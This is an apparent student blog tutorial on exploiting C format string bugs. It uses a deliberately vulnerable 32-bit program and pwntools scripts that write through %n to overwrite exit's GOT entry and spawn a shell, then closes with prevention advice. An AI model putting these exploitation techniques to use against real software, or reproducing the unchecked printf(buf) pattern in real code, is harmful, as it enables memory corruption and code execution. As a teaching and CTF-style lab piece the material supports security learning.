Hello i am arsalan. information system student, i blog about cyber security, ctf writeup , web development , and more about tech. born and raised in indonesia , currently living in indonesia

Posts   About

Exploiting Format String bug

Basic format string bug

did you know , we can write something on memory by using printf ? yes we can. in this post i will try to explain how printf works and how we can exploit format string vulnerability on printf()

How printf() works

in C we can print something using printf , for example:

#include <stdio.h>
void main(){
  int x = 1337;
  char buf[0xff] = "bro";
  printf("%d from %s" , x , buf);
}

if we compile the source code above, the output will be like this

we can use some format for printf something

%d  for integer
%s  for char
%l  for long int
%ll   for long long int
%p  for pointer in hexadecimal
%o  for octal
%x unsigned hexadecimal
%n write something?

we can write some data on memory by using %n format for 4 byte and here is the other:

hhn  : write 1 byte
hn   : write 2 byte
n    : write 4 byte

the exploit for 64bit and 32bit architecture is slightly different because in 64bit we have to deal with null char “\x00” , for example

on 32bit our exploit will look like this:

[padding][address]%[value]c%[index]$[write_type]

while on 64 bit our exploit will look like this:

%[value]c%[index]$[write_type][padding][address]

as you can see , on 64bit architecture our address will placed at the end of the payload , it’s because we are dealing with null char , for example if we want to write on address 0xdeadbabe

on 32bit 0xdeadbabe will look like this:

\xbe\xba\xad\xde

while on 64bit will look like this:

\xbe\xba\xad\xde\x00\x00\x00\x00

on 64bit there is null char on the address , so we have to place the address at the end of the payload because if printf found a null char ‘\x00’ it will simply terminate to print , i assume you already know about little endian

Exploitation

for example to exploit format string and doing arbitrary write on an address , this is a vulnerable program you can exploit

#include <stdio.h>
#include <stdlib.h>

void get_shell(){
        system("/bin/sh");
}

void main(){
        char buf[100];
        read(0 , buf , sizeof(buf));
        printf(buf);
        exit(1);
}

compile the source with flags to compile it as 32bit architecture and disable pie protection:

gcc source.c -o bug -no-pie -m32

as you can see , the bug is on printf , because we don’t use any fomat to printf value from buffer , so we can simply leak any value on the stack by input “%p”

our goal is to overwrite GOT exit() to get_shell() address by using format string bug , why exit ? because if we look at the binary protection :

because on 32bit architecture gcc will disable relro protection by default , so it’s possible to us to overwrite GOT libc address to somewhere on memory , in this case get_shell() , firstly we have to determine our input index on the stack

according from the image above , our input is on index 6 in the stack , because 0x41414141 is our inputAAAA now we have to determine exit got address by using readelf

exit got address on 0x0804c018 now we have to determine get_shell() address

get_shell on address 0x080491F6 , now we have to craft our exploit

from pwn import *
exit_got = 0x0804c018
get_shell = 0x080491F6
r = process("./chall")
gdb.attach(r)

p = "AAAA"
p += p32(exit_got)
p += "%{}c%7$hhn".format((0x41 - 8) & 0xff)

r.sendline(p)
r.interactive()

so we want to write 0x41 on exit_got address , we use hhn because we only write 1 byte on memory , we have to substract by 8 , why 8 ? because we already write 8 byte on the stack , and AND with 0xff because we only write 1 byte on the memory run the exploit and check the got address

we successfully write 0x41 on exit got , now we want to write 0x91f6 on exit_got address so we can jump to get_shell() , our exploit should look like :

from pwn import *
exit_got = 0x0804c018
get_shell = 0x080491F6
r = process("./chall")
gdb.attach(r)
p = "AAAA"
p += p32(exit_got)
p += p32(exit_got+1)
p += "%{}c%7$hhn".format((0xf6 - 12) & 0xff)
p += "%{}c%8$hhn".format((0x91 - 0xf6) & 0xff)

r.sendline(p)
r.interactive()

as you can see , we have to substract our write value by our last value , we got 12 becase we already write 12 byte to stack and we want to write 0xf6 to exit_got address , after that we substract 0x91 by - 0xf6 because we already write 0xf6 to exit_got address , and for 7 , we got 7 becuase AAAA is on index 6 so exit_got address will on index 7 and exit_got+1 on index 8

now we successfully overwrite exit got address to get_shell()

prevent format string bugs

to prevent this bug , you have to specify the format before print any data , because attacker can leak or write data on stack by using this bug , for example :

printf("%s" , buf);
printf("%x",val);
printf("%d",val2);